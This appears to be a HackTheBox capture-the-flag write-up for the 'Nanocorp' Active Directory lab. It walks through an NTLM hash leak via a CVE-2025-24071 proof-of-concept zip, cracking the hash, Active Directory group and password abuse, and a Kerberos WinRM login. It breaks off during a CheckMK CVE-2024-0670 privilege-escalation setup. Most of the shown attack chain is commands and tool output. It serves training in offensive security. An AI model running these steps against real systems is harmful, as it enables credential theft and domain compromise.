HTB: Nanocorp

Introduction
Greetings! Today, we're diving into Nanocorp, a hard-difficulty Windows Active Directory box from HackTheBox.
Our journey begins with web enumeration that uncovers a hire.nanocorp.htb subdomain hosting a job application portal with a file upload feature. We exploit CVE-2025-24071 — a Windows Explorer NTLM hash leak vulnerability — by embedding a malicious library-ms file inside a zip archive. When the server processes the uploaded file, it triggers an outbound authentication attempt that we capture with Responder, giving us the NetNTLMv2 hash for web_svc. We crack it with hashcat to recover the plaintext password.
With domain credentials in hand, we run BloodHound and discover a privilege escalation chain: web_svc can add itself to IT_Support, and members of IT_Support can change the password of monitoring_svc. However, monitoring_svc is in the Protected Users group, which means we need to use Kerberos for authentication rather than NTLM. We request a TGT for monitoring_svc and log in over WinRM using winrmexec.py with the cached Kerberos ticket.
Once inside, we discover a Check MK Agent 2.1 installation. We exploit CVE-2024-0670, a privilege escalation vulnerability in CheckMK's MSI repair process that allows low-privileged users to write arbitrary files to C:\Windows\Temp which are executed by the repair process as SYSTEM. We pre-seed the temp directory with a reverse shell payload and trigger the MSI repair, landing a shell as SYSTEM and completing our takeover of the domain controller.
Without further ado, let's get into it.
Scanning
We kicked off with a full TCP port scan using nmap.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp 10.129.243.199
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-18 10:58 EDT
Nmap scan report for 10.129.243.199
Host is up (0.050s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://nanocorp.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-18 22:01:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after: 2026-04-06T23:18:43
|_ssl-date: TLS randomness does not represent time
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
53404/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
53409/tcp open msrpc Microsoft Windows RPC
53436/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m40s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-18T22:02:18
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 269.85 seconds
The profile looks familiar — a Windows Active Directory domain controller (nanocorp.htb, DC: DC01) with a web server (Apache on port 80) sitting in front. Port 5986 confirms WinRM over HTTPS, which will be useful later. The clock-skew of almost 7 hours also tells us we'll need to sync our clock before any Kerberos operations.
We also performed a quick UDP scan.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ nmap -sU -oA scan/nmap.udp 10.129.243.199
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-18 11:07 EDT
Nmap scan report for nanocorp.htb (10.129.243.199)
Host is up (0.048s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds
Enumerating SMB
Anonymous SMB listing worked but returned no shares of interest. All further SMB operations — querydispinfo, enumdomusers, RID cycling — came back with NT_STATUS_ACCESS_DENIED. We noted the domain SID (S-1-5-21-2261381271-1331810270-697239744) and moved on.
In simpler terms, SMB was a dead end without credentials.
Enumerating web
nanocorp.htb

Visiting http://nanocorp.htb presents a standard corporate landing page. Directory fuzzing with dirsearch returned nothing exploitable — mostly 403 responses for Windows reserved names and common paths.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ dirsearch -u http://nanocorp.htb/ -w /usr/share/wordlists/dirb/big.txt -f -e php,txt,html
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, html | HTTP method: GET | Threads: 25 | Wordlist size: 102219
Output File: /home/kali/Documents/htb/nanocorp/reports/http_nanocorp.htb/__26-03-18_12-57-52.txt
Target: http://nanocorp.htb/
[12:57:52] Starting:
[12:59:25] 403 - 301B - /aux.html
[12:59:25] 403 - 301B - /aux
[12:59:25] 403 - 301B - /aux/
[12:59:25] 403 - 301B - /aux.php
[12:59:25] 403 - 301B - /aux.txt
[13:00:17] 403 - 301B - /cgi-bin/
[13:00:28] 403 - 301B - /com1
[13:00:28] 403 - 301B - /com1.html
[13:00:28] 403 - 301B - /com1.txt
[13:00:28] 403 - 301B - /com1.php
[13:00:28] 403 - 301B - /com1/
[13:00:28] 403 - 301B - /com2/
[13:00:28] 403 - 301B - /com2
[13:00:28] 403 - 301B - /com2.php
[13:00:28] 403 - 301B - /com3
[13:00:28] 403 - 301B - /com2.txt
[13:00:28] 403 - 301B - /com3.php
[13:00:28] 403 - 301B - /com2.html
[13:00:28] 403 - 301B - /com3.txt
[13:00:28] 403 - 301B - /com4
[13:00:28] 403 - 301B - /com4/
[13:00:28] 403 - 301B - /com3/
[13:00:28] 403 - 301B - /com3.html
[13:00:28] 403 - 301B - /com4.php
[13:00:28] 403 - 301B - /com4.txt
[13:00:28] 403 - 301B - /com4.html
[13:00:31] 403 - 301B - /con/
[13:00:31] 403 - 301B - /con
[13:00:31] 403 - 301B - /con.txt
[13:00:31] 403 - 301B - /con.html
[13:00:31] 403 - 301B - /con.php
[13:00:39] 200 - 1KB - /css/
[13:00:39] 301 - 334B - /css -> http://nanocorp.htb/css/
[13:01:17] 503 - 401B - /examples/
[13:01:17] 503 - 401B - /examples
[13:02:19] 200 - 73KB - /icons/
[13:02:27] 200 - 3KB - /img/
[13:02:27] 301 - 334B - /img -> http://nanocorp.htb/img/
[13:02:53] 200 - 1KB - /js/
[13:02:53] 301 - 333B - /js -> http://nanocorp.htb/js/
[13:03:07] 403 - 420B - /licenses
[13:03:07] 403 - 420B - /licenses/
[13:03:16] 403 - 301B - /lpt1.txt
[13:03:16] 403 - 301B - /lpt1/
[13:03:16] 403 - 301B - /lpt1.php
[13:03:16] 403 - 301B - /lpt1
[13:03:16] 403 - 301B - /lpt1.html
[13:03:16] 403 - 301B - /lpt2
[13:03:16] 403 - 301B - /lpt2/
[13:03:16] 403 - 301B - /lpt2.php
[13:03:16] 403 - 301B - /lpt2.html
[13:03:16] 403 - 301B - /lpt2.txt
[13:04:04] 403 - 301B - /nul.php
[13:04:04] 403 - 301B - /nul/
[13:04:04] 403 - 301B - /nul.html
[13:04:04] 403 - 301B - /nul.txt
[13:04:04] 403 - 301B - /nul
[13:04:54] 403 - 301B - /phpmyadmin/
[13:04:54] 403 - 301B - /phpmyadmin
[13:05:22] 403 - 301B - /prn
[13:05:22] 403 - 301B - /prn.html
[13:05:22] 403 - 301B - /prn.php
[13:05:22] 403 - 301B - /prn.txt
[13:05:22] 403 - 301B - /prn/
[13:06:49] 403 - 420B - /server-info
[13:06:49] 403 - 420B - /server-status
[13:06:49] 403 - 420B - /server-info/
[13:06:49] 403 - 420B - /server-status/
[13:09:18] 403 - 301B - /webalizer/
[13:09:18] 403 - 301B - /webalizer
Task Completed
Subdomain Enumeration
We ran wfuzz to look for virtual hosts.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nanocorp.htb" --hw 30 10.129.243.199
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.243.199/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000009532: 400 10 L 37 W 328 Ch "#www"
000010581: 400 10 L 37 W 328 Ch "#mail"
Total time: 0
Processed Requests: 19966
Filtered Requests: 19964
Requests/sec.: 0
The scan didn't reveal any subdomains through brute force, but the main site had hints pointing us to hire.nanocorp.htb. We added it to our hosts file.

hire.nanocorp.htb
This subdomain hosts a job application portal. Directory fuzzing revealed two interesting endpoints: upload.php and success.php. The site accepts job applications and, crucially, allows uploading a resume as a zip file.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ dirsearch -u http://hire.nanocorp.htb/ -w /usr/share/wordlists/dirb/big.txt -f -e php,txt,html
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, html | HTTP method: GET | Threads: 25 | Wordlist size: 102219
Output File: /home/kali/Documents/htb/nanocorp/reports/http_hire.nanocorp.htb/__26-03-18_13-17-54.txt
Target: http://hire.nanocorp.htb/
[13:17:54] Starting:
[13:18:23] 301 - 347B - /Images -> http://hire.nanocorp.htb/Images/
[13:18:23] 200 - 992B - /Images/
[13:19:13] 301 - 347B - /assets -> http://hire.nanocorp.htb/assets/
[13:19:13] 200 - 984B - /assets/
[13:19:16] 403 - 306B - /aux.php
[13:19:16] 403 - 306B - /aux
[13:19:16] 403 - 306B - /aux.txt
[13:19:16] 403 - 306B - /aux.html
[13:19:16] 403 - 306B - /aux/
[13:19:38] 403 - 306B - /cgi-bin/
[13:19:47] 403 - 306B - /com1
[13:19:47] 403 - 306B - /com1/
[13:19:47] 403 - 306B - /com1.php
[13:19:47] 403 - 306B - /com1.html
[13:19:47] 403 - 306B - /com2/
[13:19:47] 403 - 306B - /com2
[13:19:47] 403 - 306B - /com2.txt
[13:19:47] 403 - 306B - /com1.txt
[13:19:47] 403 - 306B - /com2.html
[13:19:47] 403 - 306B - /com3/
[13:19:47] 403 - 306B - /com3
[13:19:47] 403 - 306B - /com3.php
[13:19:47] 403 - 306B - /com3.txt
[13:19:47] 403 - 306B - /com3.html
[13:19:47] 403 - 306B - /com2.php
[13:19:47] 403 - 306B - /com4
[13:19:47] 403 - 306B - /com4/
[13:19:47] 403 - 306B - /com4.php
[13:19:47] 403 - 306B - /com4.txt
[13:19:47] 403 - 306B - /com4.html
[13:19:49] 403 - 306B - /con.txt
[13:19:49] 403 - 306B - /con/
[13:19:49] 403 - 306B - /con.php
[13:19:49] 403 - 306B - /con
[13:19:49] 403 - 306B - /con.html
[13:20:25] 503 - 406B - /examples
[13:20:25] 503 - 406B - /examples/
[13:21:02] 200 - 73KB - /icons/
[13:21:04] 200 - 992B - /images/
[13:21:04] 301 - 347B - /images -> http://hire.nanocorp.htb/images/
[13:21:30] 403 - 425B - /licenses/
[13:21:30] 403 - 425B - /licenses
[13:21:37] 403 - 306B - /lpt1
[13:21:37] 403 - 306B - /lpt1.php
[13:21:37] 403 - 306B - /lpt2
[13:21:37] 403 - 306B - /lpt1.html
[13:21:37] 403 - 306B - /lpt2.html
[13:21:37] 403 - 306B - /lpt1.txt
[13:21:37] 403 - 306B - /lpt1/
[13:21:37] 403 - 306B - /lpt2.php
[13:21:37] 403 - 306B - /lpt2/
[13:21:37] 403 - 306B - /lpt2.txt
[13:22:11] 403 - 306B - /nul.php
[13:22:11] 403 - 306B - /nul/
[13:22:11] 403 - 306B - /nul.txt
[13:22:11] 403 - 306B - /nul
[13:22:11] 403 - 306B - /nul.html
[13:22:31] 403 - 306B - /phpmyadmin
[13:22:31] 403 - 306B - /phpmyadmin/
[13:22:44] 403 - 306B - /prn
[13:22:44] 403 - 306B - /prn.php
[13:22:44] 403 - 306B - /prn.txt
[13:22:44] 403 - 306B - /prn/
[13:22:44] 403 - 306B - /prn.html
[13:23:24] 403 - 425B - /server-info/
[13:23:24] 403 - 425B - /server-info
[13:23:24] 403 - 425B - /server-status
[13:23:24] 403 - 425B - /server-status/
[13:24:12] 302 - 0B - /success.php -> index.html
[13:24:12] 403 - 306B - /success.html
[13:25:21] 200 - 0B - /upload.php
[13:25:22] 403 - 306B - /uploads
[13:25:22] 403 - 306B - /uploads/
[13:26:06] 403 - 306B - /webalizer/
[13:26:06] 403 - 306B - /webalizer
We submitted a test application and confirmed the upload goes through.
POST /upload.php HTTP/1.1
Host: hire.nanocorp.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------237800354412861792952713729485
Content-Length: 781
Origin: http://hire.nanocorp.htb
Connection: keep-alive
Referer: http://hire.nanocorp.htb/index.html
Cookie: PHPSESSID=ql4184g3vcdojpb2v58bu70pmo
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="fullname"
x40
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="email"
root@x40.in
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="position"
Cybersecurity Consultant
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="resume"; filename="resume.zip"
Content-Type: application/zip
PK
-----------------------------237800354412861792952713729485--
HTTP/1.1 302 Found
Date: Thu, 19 Mar 2026 00:33:11 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: success.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The server accepts the zip without any visible error. The key question is: what happens to it on the backend?
CVE-2025-24071
CVE-2025-24071 is a vulnerability in the Windows Shell that causes Windows Explorer to automatically parse .library-ms files embedded inside zip archives. When a specially crafted library-ms file references a UNC path to our machine, Windows initiates an SMB authentication request — leaking the NetNTLMv2 hash of the user processing the file.
We used the public PoC to generate the malicious zip: Marcejr117/CVE-2025-24071_PoC.
┌──(kali㉿kali)-[~/…/htb/nanocorp/exploits/CVE-2025-24071_PoC]
└─$ python PoC.py test 10.10.14.102
[+] File test.library-ms created successfully.
┌──(kali㉿kali)-[~/…/htb/nanocorp/exploits/CVE-2025-24071_PoC]
└─$ ls
exploit.zip PoC.py README.md usecase.gif
This produced exploit.zip containing the malicious library-ms file pointing back to our machine. We started Responder on tun0 and uploaded the zip as a resume submission.
As soon as the backend processed the file, Responder caught the hash.
[SMB] NTLMv2 Hash: WEB_SVC::NANOCORP:e6f14119adaf824c:544d8a135...
We cracked it with hashcat.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp/exploits]
└─$ hashcat hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) Ultra 7 165U, 2898/5861 MB (1024 MB allocatable), 2MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
WEB_SVC::NANOCORP:e6f14119adaf824c:544d8a135fd0d058c33a3a7897f8e99d:010100000000000080bf8975e5b6dc0198ab968fc5b23a090000000002000800490052004200450001001e00570049004e002d003300430031004f00390048005000500035003700320004003400570049004e002d003300430031004f0039004800500050003500370032002e0049005200420045002e004c004f00430041004c000300140049005200420045002e004c004f00430041004c000500140049005200420045002e004c004f00430041004c000700080080bf8975e5b6dc01060004000200000008003000300000000000000000000000002000005ecbccb00a538ef5e23ec4441b929bf6912be5e6be789498dbb3c12f0156df7b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100300032000000000000000000:dksehdgh712!@#
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: WEB_SVC::NANOCORP:e6f14119adaf824c:544d8a135fd0d058...000000
Time.Started.....: Wed Mar 18 15:05:11 2026 (2 secs)
Time.Estimated...: Wed Mar 18 15:05:13 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1288.1 kH/s (0.62ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1855488/14344385 (12.94%)
Rejected.........: 0/1855488 (0.00%)
Restore.Point....: 1854464/14344385 (12.93%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: dlh622 -> djd0415
Hardware.Mon.#1..: Util: 91%
Started: Wed Mar 18 15:05:07 2026
Stopped: Wed Mar 18 15:05:15 2026
We now had credentials: web_svc / dksehdgh712!@#.
The HOUND
With valid domain credentials, we used BloodHound to map out the AD environment.
┌──(kali㉿kali)-[~/Documents/htb/nanocorp/hound]
└─$ bloodhound-python -c All -u web_svc -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: nanocorp.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.nanocorp.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 6 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.nanocorp.htb
INFO: Done in 00M 09S
Reviewing the results in BloodHound revealed a clean privilege escalation chain:
web_svchasAddSelfon theIT_Supportgroup — meaning it can add itself as a member.

- Members of
IT_SupporthaveForceChangePasswordovermonitoring_svc.

There was a catch though. Checking the group membership of Protected Users:
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ nxc ldap nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --groups "Protected Users"
[*] Initializing LDAP protocol database
LDAP 10.129.243.199 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.243.199 389 DC01 [+] nanocorp.htb\web_svc:dksehdgh712!@#
LDAP 10.129.243.199 389 DC01 monitoring_svc
monitoring_svc is in the Protected Users group. This means NTLM authentication is disabled for this account — we can only authenticate using Kerberos. Changing their password and trying to log in over NTLM would fail silently. We had to plan accordingly.
Following the chain
1: Add web_svc to IT_Support
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ bloodyAD --host "10.129.243.199" -d "nanocorp.htb" -u "web_svc" -p 'dksehdgh712!@#' add groupMember "it_support" "web_svc"
[+] web_svc added to it_support
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ net rpc group members "IT_Support" -U nanocorp.htb/web_svc%'dksehdgh712!@#' -S 10.129.243.199
NANOCORP\web_svc
2: Change monitoring_svc's password
Since we needed Kerberos, we first set up a proper krb5.conf and exported it.
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ ./venv/bin/nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --generate-krb5-file nanocorp.krb5.conf
SMB 10.129.243.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.243.199 445 DC01 [+] krb5 conf saved to: nanocorp.krb5.conf
SMB 10.129.243.199 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=nanocorp.krb5.conf
SMB 10.129.243.199 445 DC01 [+] nanocorp.htb\web_svc:dksehdgh712!@#
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ cat nanocorp.krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = NANOCORP.HTB
[realms]
NANOCORP.HTB = {
kdc = dc01.nanocorp.htb
admin_server = dc01.nanocorp.htb
default_domain = nanocorp.htb
}
[domain_realm]
.nanocorp.htb = NANOCORP.HTB
nanocorp.htb = NANOCORP.HTB
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ export KRB5_CONFIG=$PWD/nanocorp.krb5.conf
Then we changed the password for monitoring_svc.
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ bloodyAD -d nanocorp.htb --host dc01.nanocorp.htb -u web_svc -p 'dksehdgh712!@#' set password 'monitoring_svc' 'P@ssword123!'
[+] Password changed successfully!
3: Get a TGT and log in via WinRM
We requested a Kerberos TGT for monitoring_svc.
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ getTGT.py nanocorp.htb/monitoring_svc:'P@ssword123!'
Impacket v0.14.0.dev0+20260313.154148.084aff60 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in monitoring_svc.ccache
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ export KRB5CCNAME=monitoring_svc.ccache
With the ticket exported, we used winrmexec.py with Kerberos authentication over HTTPS.
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ python winrmexec.py dc01.nanocorp.htb -ssl -k -p 5986 -no-pass
Impacket v0.14.0.dev0+20260313.154148.084aff60 - Copyright Fortra, LLC and its affiliated companies
[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] '-spn' not specified, using HTTP/dc01.nanocorp.htb@NANOCORP.HTB
[*] '-dc-ip' not specified, using NANOCORP.HTB
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents>
We now had a shell as monitoring_svc on the domain controller.
Privilege escalation to SYSTEM
Discovering Check MK Agent
Looking through C:\Program Files (x86), we spotted a checkmk directory.
PS C:\Users\monitoring_svc\Documents> dir "C:\Program Files (x86)"
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/5/2025 4:17 PM checkmk
d----- 5/8/2021 1:34 AM Common Files
d----- 11/3/2025 4:13 PM Internet Explorer
d----- 5/8/2021 2:40 AM Microsoft
d----- 5/8/2021 1:34 AM Microsoft.NET
d----- 5/8/2021 2:35 AM Windows Defender
d----- 11/3/2025 4:13 PM Windows Mail
d----- 11/3/2025 4:13 PM Windows Media Player
d----- 5/8/2021 2:35 AM Windows NT
d----- 11/3/2025 4:13 PM Windows Photo Viewer
d----- 5/8/2021 1:34 AM WindowsPowerShell
Cross-referencing with the installed programs in the registry confirmed Check MK Agent 2.1 (version 2.1.0.50010) was installed, originally from C:\Users\web_svc\Desktop\.
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
AuthorizedCDFPrefix REG_SZ
Comments REG_SZ
Contact REG_SZ
DisplayVersion REG_SZ 2.1.0.50010
HelpLink REG_EXPAND_SZ https://checkmk.com
HelpTelephone REG_SZ
InstallDate REG_SZ 20250405
InstallLocation REG_SZ
InstallSource REG_SZ C:\Users\web_svc\Desktop\
ModifyPath REG_EXPAND_SZ MsiExec.exe /X{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
NoModify REG_DWORD 0x1
Publisher REG_SZ tribe29 GmbH
Readme REG_SZ
Size REG_SZ
EstimatedSize REG_DWORD 0x4eaf9
UninstallString REG_EXPAND_SZ MsiExec.exe /X{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
URLInfoAbout REG_SZ https://checkmk.com
URLUpdateInfo REG_SZ
VersionMajor REG_DWORD 0x2
VersionMinor REG_DWORD 0x1
WindowsInstaller REG_DWORD 0x1
Version REG_DWORD 0x2010000
Language REG_DWORD 0x409
DisplayName REG_SZ Check MK Agent 2.1
CVE-2024-0670 — CheckMK MSI Repair Temp File Hijack
CVE-2024-0670 is a privilege escalation vulnerability in the Check MK Agent MSI installer. When the MSI repair process runs (msiexec /f or msiexec /fa), it writes temporary .cmd files to C:\Windows\Temp with predictable names in the format cmk_all_<PID>_<CTR>.cmd. These files are then executed with SYSTEM privileges as part of the repair workflow.
Since low-privileged users can write to C:\Windows\Temp, we can pre-seed all possible filenames with our own payload before the repair runs. When the MSI picks up one of our pre-seeded files, it executes our code as SYSTEM.
We confirmed this works by first triggering a repair manually to observe the temp file naming pattern.
PS C:\Users\monitoring_svc\Documents> .\runas.exe web_svc 'dksehdgh712!@#' "cmd /c dir C:\Windows\Temp"
Volume in drive C has no label.
Volume Serial Number is 2EB6-7759
Directory of C:\Windows\Temp
03/18/2026 10:53 PM <DIR> .
11/03/2025 05:18 PM <DIR> ..
03/18/2026 10:48 PM 6 abc
03/18/2026 02:58 PM 53 af397ef28e484961ba48646a5d38cf54.db.ses
03/18/2026 02:58 PM 0 mat-debug-5680.log
03/18/2026 03:30 PM 38,730 MpCmdRun.log
03/18/2026 02:57 PM 102 silconfig.log
11/03/2025 06:05 PM <DIR> vmware-SYSTEM
11/12/2025 11:24 AM 197,285 vmware-vmsvc-SYSTEM.log
11/04/2025 04:18 PM 16,602 vmware-vmtoolsd-Administrator.log
03/18/2026 02:56 PM 21,488 vmware-vmtoolsd-SYSTEM.log
03/18/2026 02:59 PM 5,381 vmware-vmtoolsd-web_svc.log
11/04/2025 04:20 PM 66,145 vmware-vmusr-Administrator.log
03/18/2026 02:59 PM 6,579 vmware-vmusr-web_svc.log
03/18/2026 02:56 PM 20,613 vmware-vmvss-SYSTEM.log
12 File(s) 372,984 bytes
3 Dir(s) 8,067,469,312 bytes free
PS C:\Users\monitoring_svc\Documents>
PS C:\Users\monitoring_svc\Documents> .\runas.exe web_svc 'dksehdgh712!@#' "cmd /c msiexec /f {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D} & dir C:\Windows\Temp"
Volume in drive C has no label.
Volume Serial Number is 2EB6-7759
Directory of C:\Windows\Temp
03/18/2026 10:55 PM <DIR> .
11/03/2025 05:18 PM <DIR> ..
03/18/2026 10:48 PM 6 abc
03/18/2026 02:58 PM 53 af397ef28e484961ba48646a5d38cf54.db.ses
03/18/2026 10:55 PM 1,069 cmk_all_8512_1.cmd
03/18/2026 10:55 PM 423 cmk_data_8512_2.cmd
03/18/2026 02:58 PM 0 mat-debug-5680.log
03/18/2026 03:30 PM 38,730 MpCmdRun.log
03/18/2026 02:57 PM 102 silconfig.log
11/03/2025 06:05 PM <DIR> vmware-SYSTEM
11/12/2025 11:24 AM 197,285 vmware-vmsvc-SYSTEM.log
11/04/2025 04:18 PM 16,602 vmware-vmtoolsd-Administrator.log
03/18/2026 02:56 PM 21,488 vmware-vmtoolsd-SYSTEM.log
03/18/2026 02:59 PM 5,381 vmware-vmtoolsd-web_svc.log
11/04/2025 04:20 PM 66,145 vmware-vmusr-Administrator.log
03/18/2026 02:59 PM 6,579 vmware-vmusr-web_svc.log
03/18/2026 02:56 PM 20,613 vmware-vmvss-SYSTEM.log
14 File(s) 374,476 bytes
